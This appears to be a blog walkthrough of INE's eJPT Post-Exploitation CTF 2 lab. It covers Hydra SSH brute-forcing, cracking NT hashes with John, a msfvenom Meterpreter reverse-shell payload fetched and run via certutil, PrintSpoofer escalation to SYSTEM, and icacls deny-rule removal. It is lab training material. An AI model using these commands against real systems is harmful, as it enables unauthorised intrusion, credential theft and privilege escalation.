Host & Network Penetration Testing: Post-Exploitation CTF 2 — eJPT (INE)

Summary

Host & Network Penetration Testing: Post-Exploitation CTF 2 — eJPT (INE) A walkthrough covering SSH brute-forcing, NTLM hash cracking, SeImpersonatePrivilege escalation with PrintSpoofer, and DACL manipulation to capture all four flags. Hello everyone! In this writeup, I’ll walk through Post-Exploitation CTF 2 from INE’s eJPT path. One Windows target this time — and the lab chains together four techniques nicely, each building on what the previous step uncovered. So, let’s dive in. Q. An insecure SSH user named alice lurks in the system. As usual, I started with an Nmap scan: nmap -sV -O -sC -T5 target.ine.local Several ports were open — SSH on 22, SMB on 445, and RDP on 3389. OS fingerprinting pointed at Windows 8.1 / Server 2012 R2. The question pointed directly at SSH user alice with a weak password, so I brute-forced it with Hydra: hydra -l alice -P /usr/share/wordlists/metasploit/unix_passwords.txt target.ine.local ssh Password found. I logged in via SSH and listed the home directory. Flag 1 was sitting there alongside a hashdump.txt file — clearly left as a hint for the next question. Q. Using the hashdump file discovered in the previous challenge, can you crack the hashes and compromise a user? I copied the contents of hashdump.txt locally and ran John the Ripper against it, specifying the NT hash format: john —format=nt —wordlist=/usr/share/wordlists/metasploit/unix_passwords.txt hashdump.txt Two accounts cracked — alice and david , both with weak passwords. I logged in as david via SSH: Flag 2 was in david’s home directory. Q. Can you escalate privileges and read the flag in C:\Windows\System32\config directory? The config directory is heavily restricted — even admin accounts are often blocked from it without SYSTEM-level privileges. I needed to escalate. Get Suraj Apar’s stories in your inbox Join Medium for free to get updates from this writer. First, I generated a Meterpreter payload: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > win.exe Served it with a Python HTTP server, set up a multi/handler listener, then downloaded and executed it from david’s SSH session: certutil -urlcache -f “http:///win.exe” win.exe win.exe Meterpreter session opened. I checked current privileges: meterpreter > getprivs SeImpersonatePrivilege was enabled — a classic path to SYSTEM on Windows. I uploaded PrintSpoofer64.exe (available on the Kali Desktop) via Meterpreter and executed it: PrintSpoofer64.exe -i -c cmd.exe SYSTEM shell. Navigated to the config directory and found Flag 3. Q. Looks like the flag present in the Administrator’s home denies direct access. I navigated to the Administrator’s home directory and found a folder named flag — but access was denied even from SYSTEM. I checked the permissions with icacls : icacls flag There was an explicit DENY rule set for NT AUTHORITY\SYSTEM — blocking read and execute. That’s why even a SYSTEM shell couldn’t access it. The fix was to remove that deny entry: icacls flag /remove:d “NT AUTHORITY\SYSTEM” With the deny rule removed, I navigated into the folder and found flag4.txt . Final Thoughts This CTF introduced two Windows-specific techniques worth understanding properly. PrintSpoofer abuses the SeImpersonatePrivilege token privilege — a right that’s commonly granted to service accounts on Windows. When a low-privileged account has this privilege, PrintSpoofer tricks the Print Spooler service into authenticating to a named pipe it controls, then impersonates that SYSTEM-level token to spawn a privileged shell. It’s a reliable escalation path on older Windows systems and something you’ll encounter frequently. The icacls DENY removal on Flag 4 was the most interesting twist — an explicit deny rule overrides even SYSTEM-level access by default. Knowing that icacls /remove:d can strip those deny entries is a useful trick to have in your post-exploitation toolkit. Thanks for reading!

By Suraj Apar

Original Article